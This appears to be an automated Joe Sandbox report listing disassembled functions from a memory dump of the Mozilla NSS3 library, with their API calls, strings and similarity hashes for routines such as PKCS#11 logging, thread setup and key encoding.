Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nvl
API String ID: 1003633598-284515238
Opcode ID: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction ID: ff990fbe767b50cf8c292360391d709c143b795392f06256ba8e5ebdc624f9ef
Opcode Fuzzy Hash: 278c88c42d84bd266fd638f538553036082ef0850af10a77a7d5f224c25a59cc
Instruction Fuzzy Hash: 9341EB71602208AFDB009F10DE9CF6A37B9EB4634DF048034F9096BA51DB709948CB7E

Function 6C687C90 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C687CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C687CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C687CF3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C687D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C687D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C687D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C687D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C687D77

Strings

hSession = 0x%x, xrefs: 6C687CCE, 6C687CDE
C_Verify, xrefs: 6C687CB1
pData = 0x%p, xrefs: 6C687D25
pSignature = 0x%p, xrefs: 6C687D59
(CK_INVALID_HANDLE), xrefs: 6C687CEC
nvl, xrefs: 6C687D8F, 6C687DC3
ulSignatureLen = %d, xrefs: 6C687D72
ulDataLen = %d, xrefs: 6C687D40

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify$nvl
API String ID: 1003633598-4033680503
Opcode ID: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction ID: 891cdfe52b6b1f958b2b871e3efbb6d5ef4f782ddf634e12508c842d5df35402
Opcode Fuzzy Hash: 3c7e7a15cea87878576098e33b48e0fcaf301d34cb86e9a8608494b23f8823cd
Instruction Fuzzy Hash: C631A371702148AFDB109F55DE4CEAA3BF2AB4235CF084434F9096BA11DB309948CBBE

Function 6C682F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C682F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C682F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C682F63

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C682F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C682F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C682FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C682FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C682FE7

Strings

pNewPin = 0x%p, xrefs: 6C682FC9
hSession = 0x%x, xrefs: 6C682F3E, 6C682F4E
pOldPin = 0x%p, xrefs: 6C682F95
C_SetPIN, xrefs: 6C682F21
ulNewLen = %d, xrefs: 6C682FE2
(CK_INVALID_HANDLE), xrefs: 6C682F5C
ulOldLen = %d, xrefs: 6C682FB0
nvl, xrefs: 6C682FFF, 6C683030

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nvl
API String ID: 1003633598-3987637513
Opcode ID: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction ID: a4b79b0e1421ec2e2d805b612606df912baf784089d4f8c17c66037e965dcc03
Opcode Fuzzy Hash: a0c0929151f935d472a087e52fedf7264f646c289ca27a79c4ce82b28266d8da
Instruction Fuzzy Hash: 9731B375603148AFDB009F55DE4CE8A7BB2EB4735DF484034E909ABB51DB309948CBAE

Function 6C769C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C769C70
PR_NewLock.NSS3 ref: 6C769C85

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000), ref: 6C769C96

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewLock.NSS3 ref: 6C769CA9

Part of subcall function 6C7198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C719946
Part of subcall function 6C7198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D16B7,00000000), ref: 6C71994E
Part of subcall function 6C7198D0: free.MOZGLUE(00000000), ref: 6C71995E

PR_NewLock.NSS3 ref: 6C769CB9
PR_NewLock.NSS3 ref: 6C769CC9
PR_NewCondVar.NSS3(00000000), ref: 6C769CDA

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(?), ref: 6C769CF0
PR_NewPollableEvent.NSS3 ref: 6C769D03

Part of subcall function 6C75F3B0: PR_CallOnce.NSS3(6C7B14B0,6C75F510), ref: 6C75F3E6
Part of subcall function 6C75F3B0: PR_CreateIOLayerStub.NSS3(6C7B006C), ref: 6C75F402
Part of subcall function 6C75F3B0: PR_Malloc.NSS3(00000004), ref: 6C75F416
Part of subcall function 6C75F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C75F42D
Part of subcall function 6C75F3B0: PR_SetSocketOption.NSS3(?), ref: 6C75F455
Part of subcall function 6C75F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C75F473

Part of subcall function 6C719890: TlsGetValue.KERNEL32(?,?,?,6C7197EB), ref: 6C71989E

EnterCriticalSection.KERNEL32(?), ref: 6C769D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DAF
_PR_CreateThread.NSS3(00000000,6C769EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769D9F

Part of subcall function 6C63B3C0: TlsGetValue.KERNEL32 ref: 6C63B403
Part of subcall function 6C63B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C63B459

_PR_CreateThread.NSS3(00000000,6C76A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C769DFC
_PR_CreateThread.NSS3(00000000,6C76A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C769E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C769E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C769E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C769E89

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction ID: 47e0bda89cbaa6b437f2cb76a8c6fe7070108346d6ff20ce188df0cb11ec11ae
Opcode Fuzzy Hash: b5aefc78b1ad5f0be1eea4f7c726adef41032bb7688b705fd30b5d3c2fc4a16c
Instruction Fuzzy Hash: C8612BB1900706AFD710DF76D944AA6BBE8FF49308B044539E85AC7F11EB30E815CBA5

Function 6C663FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C664014

Part of subcall function 6C6639F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F,?), ref: 6C663A08
Part of subcall function 6C6639F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C665E6F), ref: 6C663A1C
Part of subcall function 6C6639F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C663A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C664038

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C66404D

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A0F4), ref: 6C6640C2

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C66409A

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6640DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6640F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C664108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C66411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C664137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C664150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C77A1C8), ref: 6C66417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C664194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6641A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6641B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6641D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6641FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C77A1A8), ref: 6C66422D

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction ID: e8d5ba0a5010404dac0e1cb622ebc99dd7662ea4190aadad98f6853c3db08788
Opcode Fuzzy Hash: 0e939b85d2b0606d785361b84d16c14bbff6e23a9f8a970531a9e37e68c402ca
Instruction Fuzzy Hash: F451F6B1A043016BF710DB269C61BB7B6DD9F5234CF140528E95AC6F42FB71E91882AF

Function 6C6A8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8E9E
PORT_ArenaAlloc_Util.NSS3(6C7B0B64,00000001,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C6A8E01,00000000,6C6A9060,6C7B0B64), ref: 6C6A8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8E01), ref: 6C6A8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C7B0B64,6C7B0B64), ref: 6C6A8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C6A8F3F

Part of subcall function 6C6AA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C6AA421,00000000,00000000,6C6A9826), ref: 6C6AA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6A904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C6A8E76

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction ID: 0a5e921e9643bca006ffd503c695ffcc5610e738b0be403def85a23dd1839119
Opcode Fuzzy Hash: b41af695523b766951f8b3d7dd66e221d047e4c6bbeb62b751c989f09ed93225
Instruction Fuzzy Hash: E66173B5D0010A9BDB10CF96CD44AABB7B5FF88358F244129DC18A7711E732AD16CBB4

Function 6C658E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C658E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C658E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C658EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7818D0,?), ref: 6C658F03
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C658F19
PL_FreeArenaPool.NSS3(?), ref: 6C658F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C658F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C658F65
PL_FinishArenaPool.NSS3(?), ref: 6C658FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C658FFE
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C659012
PL_FreeArenaPool.NSS3(?), ref: 6C659024
PL_FinishArenaPool.NSS3(?), ref: 6C65902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C65903E

Strings

security, xrefs: 6C658EE7

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction ID: 6727b6f100abf774d9a923c139fa9ad8fe012f12834da34d9ee099564e4fab89
Opcode Fuzzy Hash: 537c0f8e005092767397222f4db3d4fbf262e1a1ef082590e7792f1813577c89
Instruction Fuzzy Hash: E95169B1648300ABD7105A14DC41FAB73E8AF8A35CFA0082EF95497F50E731D829876F

Function 6C71CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A

Part of subcall function 6C71CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C68C1A8,?), ref: 6C71CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E

Part of subcall function 6C6405C0: PR_EnterMonitor.NSS3 ref: 6C6405D1
Part of subcall function 6C6405C0: PR_ExitMonitor.NSS3 ref: 6C6405EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C71CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C71CE48

Strings

ws2_32.dll, xrefs: 6C71CD75
wship6.dll, xrefs: 6C71CDE3
getnameinfo, xrefs: 6C71CDB2, 6C71CE23
freeaddrinfo, xrefs: 6C71CD9F, 6C71CE10
getaddrinfo, xrefs: 6C71CD88, 6C71CDF9

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction ID: 4de1f8247834431d80a4a036b94170acac42c10d7a72cda8428bdb0db315982c
Opcode Fuzzy Hash: 524f7c8cace327e20cca65ae3e2fb239c926563253bd2b8b7b8e7d06689f4d6f
Instruction Fuzzy Hash: 121126A6E1B12217EB006AB22E01EAA3C5C9B1310EF5CC534E905D2F41FF21D60983EE

Function 6C761C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7613BC,?,?,?,6C761193), ref: 6C761C6B
PR_NewLock.NSS3(?,6C761193), ref: 6C761C7E

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PR_NewCondVar.NSS3(00000000,?,6C761193), ref: 6C761C91

Part of subcall function 6C63BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6421BC), ref: 6C63BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C761193), ref: 6C761CA7

Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C63BBEB
Part of subcall function 6C63BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C63BBFB
Part of subcall function 6C63BB80: GetLastError.KERNEL32 ref: 6C63BC03
Part of subcall function 6C63BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C63BC19
Part of subcall function 6C63BB80: free.MOZGLUE(00000000), ref: 6C63BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C761193), ref: 6C761CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C761193), ref: 6C761CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C761193), ref: 6C761D1A

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C761193), ref: 6C761D3D

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C761193), ref: 6C761D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C761193), ref: 6C761D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C761193), ref: 6C761D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C761193), ref: 6C761D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C761193), ref: 6C761D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C761193), ref: 6C761D93
PR_DestroyLock.NSS3(00000000,?,?,6C761193), ref: 6C761D9F
free.MOZGLUE(00000000,?,6C761193), ref: 6C761DA8

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
